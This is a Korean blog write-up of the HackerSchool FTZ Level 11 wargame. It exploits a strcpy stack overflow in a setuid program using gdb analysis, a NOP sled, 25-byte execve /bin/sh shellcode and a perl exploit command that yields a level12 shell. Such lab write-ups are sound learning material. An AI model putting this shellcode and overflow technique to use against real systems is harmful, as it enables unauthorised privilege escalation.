본문 바로가기
hackerschool bof/hackerschool ftz

해커스쿨(HackerSchool) FTZ Level11 문제풀이

by 깝태 2011. 4. 10.

해커스쿨 FTZ Level11 부터 19 까지 BOF 문제 입니다. 매우 흥미롭고 위험한 기술 입니다.
처음 공부하시는 분들은 첨부파일로 둔 달고나님의 문서를 보고 공부하시길 바랍니다.

[level11@ftz level11]$ ls
attackme  hint  public_html  tmp

힌트파일이 있고 공격해야되는 attackme 파일이 있습니다.
 
[level11@ftz level11]$ cat hint
#include <stdio.h>
#include <stdlib.h>
 
int main( int argc, char *argv[] )
{
char str[256];

  setreuid( 3092, 3092 );
strcpy( str, argv[1] ); // 이 부분에 버퍼 오버플로우 취약점이 존재합니다.
printf( str );
 
메인함수에서 인자를 받고 길이의 제한을 받지 않는 strcpy 함수의 취약점을 이용하면
버퍼 오버플로우 공격을 하여 Level12 의 권한을 받을 수 있습니다.

(gdb) disas main
Dump of assembler code for function main:
0x08048470 <main+0>: push   %ebp
0x08048471 <main+1>: mov    %esp,%ebp
0x08048473 <main+3>: sub    $0x108,%esp
0x08048479 <main+9>: sub    $0x8,%esp
0x0804847c <main+12>: push   $0xc14
0x08048481 <main+17>: push   $0xc14
0x08048486 <main+22>: call   0x804834c <setreuid>
0x0804848b <main+27>: add    $0x10,%esp
0x0804848e <main+30>: sub    $0x8,%esp
0x08048491 <main+33>: mov    0xc(%ebp),%eax
0x08048494 <main+36>: add    $0x4,%eax
0x08048497 <main+39>: pushl  (%eax)
0x08048499 <main+41>: lea    0xfffffef8(%ebp),%eax
0x0804849f <main+47>: push   %eax
0x080484a0 <main+48>: call   0x804835c <strcpy>
0x080484a5 <main+53>: add    $0x10,%esp
0x080484a8 <main+56>: sub    $0xc,%esp
0x080484ab <main+59>: lea    0xfffffef8(%ebp),%eax
0x080484b1 <main+65>: push   %eax
0x080484b2 <main+66>: call   0x804833c <printf>
0x080484b7 <main+71>: add    $0x10,%esp
0x080484ba <main+74>: leave  
0x080484bb <main+75>: ret    
0x080484bc <main+76>: nop    
0x080484bd <main+77>: nop    
0x080484be <main+78>: nop    
0x080484bf <main+79>: nop    
End of assembler dump.

GDB 에서 'disas main' 명령어를 이용해 어셈블리어로 짜여진 파일 내부를 확인해보면
str(256) + dummy(8) 총 264 바이트를 할당받습니다. BOF 공격방식은 두 가지가 있습니다.
NOP 썰매를 이용한 방법과 에그쉘을 이용한 방법, 에그쉘에 대한 내용은 직접 검색해보시길 바라며
여기선 NOP 썰매 방식을 이용하겠습니다. 

메모리 구조는 아래와 같이 됩니다.
(낮은 주소) [ BUF(256 Byte) + DUMMY(8 Byte) + SFP(4) + RET(4) ] (높은 주소) <== 메모리 구조

쉘코드의 크기가 25 바이트 이므로 268 - 25 = 243 에 NOP 를 덮고 나머지에 쉘코드를 덮고 RET 에 NOP 가 있는 곳의
아무데나 주소로 덮어씌우겠습니다.

사용할 25바이트 쉘코드




ㅁㄴㅇㅁㄴㅇㅇ

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80

먼저 RET 에 덮어씌울 주소를 찾아야되기 때문에 익스플로잇을 짜고 테스트 해보았습니다

(gdb) r `perl -e 'print "\x90"x243, "A"x25, "\x90\x90\x90\x90"'`

위와 같이 입력 후 실행하고 메모리 구조를 확인해보면
(gdb) x/268x $esp
0xbffffa10: 0x00000000 0xbffffa54 0xbffffa60 0x4001582c
0xbffffa20: 0x00000002 0x08048370 0x00000000 0x08048391
0xbffffa30: 0x08048470 0x00000002 0xbffffa54 0x080482e4
0xbffffa40: 0x08048500 0x4000c660 0xbffffa4c 0x00000000
0xbffffa50: 0x00000002 0xbffffb37 0xbffffb4e 0x00000000
0xbffffa60: 0xbffffc5f 0xbffffc77 0xbffffc95 0xbffffca0
0xbffffa70: 0xbffffcb0 0xbffffcbe 0xbffffcd1 0xbffffcde
0xbffffa80: 0xbffffea1 0xbffffee4 0xbfffff01 0xbfffff13
0xbffffa90: 0xbfffff28 0xbfffff39 0xbfffff4a 0xbfffff5d
0xbffffaa0: 0xbfffff65 0xbfffff84 0xbfffff94 0xbfffffb6
0xbffffab0: 0xbfffffd0 0x00000000 0x00000010 0x0febfbff
0xbffffac0: 0x00000006 0x00001000 0x00000011 0x00000064
0xbffffad0: 0x00000003 0x08048034 0x00000004 0x00000020
0xbffffae0: 0x00000005 0x00000006 0x00000007 0x40000000
0xbffffaf0: 0x00000008 0x00000000 0x00000009 0x08048370
0xbffffb00: 0x0000000b 0x00000c13 0x0000000c 0x00000c13
0xbffffb10: 0x0000000d 0x00000c13 0x0000000e 0x00000c13
0xbffffb20: 0x0000000f 0xbffffb32 0x00000000 0x00000000
0xbffffb30: 0x36690000 0x2f003638 0x656d6f68 0x76656c2f
0xbffffb40: 0x31316c65 0x7474612f 0x6d6b6361 0x90900065
0xbffffb50: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffb60: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffb70: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffb80: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffb90: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffba0: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffbb0: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffbc0: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffbd0: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffbe0: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffbf0: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffc00: 0x90909090 0x90909090 0x90909090 0x90909090
---Type <return> to continue, or q <return> to quit---
0xbffffc10: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffc20: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffc30: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffc40: 0x41414190 0x41414141 0x41414141 0x41414141
0xbffffc50: 0x41414141 0x41414141 0x90904141 0x52009090

RET 주소를 0xbffffb70 으로 구성하고 공격해보겠습니다
만들어진 최종 익스플로잇 입니다.

[level11@ftz level11]$ ./attackme `perl -e 'print "\x90"x243, "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80", "\x70\xfb\xff\xbf"'`
sh-2.05b$ id
uid=3092(level12) gid=3091(level11) groups=3091(level11)
sh-2.05b$ my-pass
TERM environment variable not set.

Level12 Password is "               ".

sh-2.05b$

글이 좀 길어지긴 했지만 역시 간단하게 끝냈습니다. 쉘을 성공적으로 따고 Level12 의 권한을 땄습니다.
아직 저에겐 어렵지만 문제를 풀면 풀수록 재미있게 느껴집니다.

수고하셨습니다 ^^